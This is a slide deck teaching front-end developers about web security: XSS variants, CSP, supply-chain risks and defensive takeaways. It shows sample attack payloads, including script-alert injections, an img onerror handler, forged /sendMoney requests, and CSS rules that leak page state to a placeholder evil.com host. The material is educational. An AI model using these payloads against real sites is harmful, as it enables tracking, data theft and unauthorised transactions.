Security

 

 for front-end developers

(NOT JUST)

@BenedekGagyi

@BenedekGagyi

what are we going to talk about today?

@BenedekGagyi

XSS

CSP

clickjacking

Supply-chain poisoning

Tabnabbing

iframe
security

authentication

cryptography

csrf

open redirect

sast, dast,
iast, sca

XSS

CSP

clickjacking

Supply-chain poisoning

Tabnabbing

iframe
security

authentication

cryptography

csrf

open redirect

sast, dast,
iast, sca

@BenedekGagyi

@BenedekGagyi

Bugs

@BenedekGagyi

@BenedekGagyi

XSS

Cross-site scripting

@BenedekGagyi

@samykamkar

"but most of all, Samy is my hero"

ATTACK FLOW

Malicious script

Site containing malicious script

@BenedekGagyi

Types of XSS

Stored

NON-DOM Based

?

?

?

@BenedekGagyi

Reflected XSS

https://www.mybank.com?name=<script>alert(1)</script>

@BenedekGagyi

ATTACK FLOW

URL containing malicious script

Site containing malicious script

Request made using malicious URL

@BenedekGagyi

Types of XSS

Stored

NON-DOM Based

?

?

reflected

@BenedekGagyi

Types of XSS

Stored

NON-DOM-Based

reflected

DOM-Based

(Server rendered)

(browser rendered)

@BenedekGagyi

Where should we sanitise input?

@BenedekGagyi

browsers are ... weird

<div><script title="</div>">
<div>
  <script title="</div>">
  </script>
</div>

@BenedekGagyi

browsers are ... weird

<script><div title="</script>"
<script>
  <div title="
</script>
"

@BenedekGagyi

mutation XSS

@BenedekGagyi

Where should we sanitise input?

@BenedekGagyi

Frameworks are your friend

Takeaway #1

*

@BenedekGagyi

What if I can't inject a script or javascript is turned off completely?

@BenedekGagyi

CSS injection

background-image: 
url(www.evil-site.com/track)
  • PII - Personally Identifiable Information
    • IP Address
    • OS
    • Browser

@BenedekGagyi

CSS injection

  • User behaviour tracking
.two-factor-checkbox:checked {
  background-image: 
    url(www.evil.com/track?no2fa=true);
}

.security-tips-link:visited {
  background-image: 
    url(www.evil.com/track?uneducated=true);
}

@BenedekGagyi

CSS injection

  • Data scraping
  • Key logging
.meeting-location[value="SPY HEADQUARTERS"]{
  background-image: 
    url(www.evil.com/track?loc=SpyHeadquaters);
}

@BenedekGagyi

on-site request forgery
(OSRF)

Page

<html>
</html>

Malicious link

<a href="...

CSS injection

html {
  background-image: 
    url(/sendMoney?
    amount=100&
    to=123);
}

@BenedekGagyi

@BenedekGagyi

<a 
  href="
    /sendMoney?
    amount=100&
    to=123
  "
>
</a>

@BenedekGagyi

Html injection

<form 
  action="
    /sendMoney?
    amount=100&
    to=123
  "
>
  <button>Click me for free pizza</button>
</form>

@BenedekGagyi

Html injection

Beware of
images

@BenedekGagyi

Image Injetion

@BenedekGagyi

<img 
  src="invalid.address"
  onerror="alert(':P')" 
/>

OSRF

this time with an image!

<img src="https://bank.com/
    send_money?
    amount=9999&
    to=1231234143" 
/>

@BenedekGagyi

What do you consider user input?

@BenedekGagyi

blind XSS

<script>alert(":P")</script>
True-Client-IP:

@BenedekGagyi

User-Agent:
<script>alert(":P")</script>

blind XSS

Non-user facing
!==
non-attackable

@BenedekGagyi

CSP

COntent security policy

@BenedekGagyi

can't we just automagically stop/filter xss?

@BenedekGagyi

Who's doing the policing?

@BenedekGagyi

Malicious actions

set of
rules

How does it work?

@BenedekGagyi

csp header

script-src
style-src
image-src
...
www.content-security-policy.com

levels of trust

@BenedekGagyi

safe

unsafe

'none'
'self'
domain.example.com
https://
data:
*
'unsafe-inline'
...

mindset switch

🤯

@BenedekGagyi

introduction & maintenance

Content-Security-Policy
-Report-Only
report-uri/report-to

@BenedekGagyi

Minimal cSP is better than no csp

Takeaway #2

@BenedekGagyi

supply-chain poisoning

@BenedekGagyi

Your app

Your code

do you know your own app?

@BenedekGagyi

Is this a credible threat?

  • Google XSS, anyone?

  • builtwith.com

  • sequelize

  • equifax

  • event-stream

@BenedekGagyi

what can we do?

  • Don't use floating versions

  • use and commit the .lock file

  • make use of security audit tools

    • npm/yarn audit
    • snyk
    • aquasec
    • npq

@BenedekGagyi

Frameworks are your friend, but you should still verify and update them regularly

Takeaway #3

@BenedekGagyi

TL;DR.

@BenedekGagyi

  • Validate & sanitise input

  • Use the framework

  • update third-party components regularly

  • minimal CSP is better than no CSP

  • When in doubt: OWASP & paranoids

*

@BenedekGagyi

Thank

you!

?

Security for FE developers - 1h

By Benedek Gagyi

Made with Slides.com

Security for FE developers - 1h

Security for front-end developers. Deck aimed for 1h (45 min) presentation.

  • 290

More from Benedek Gagyi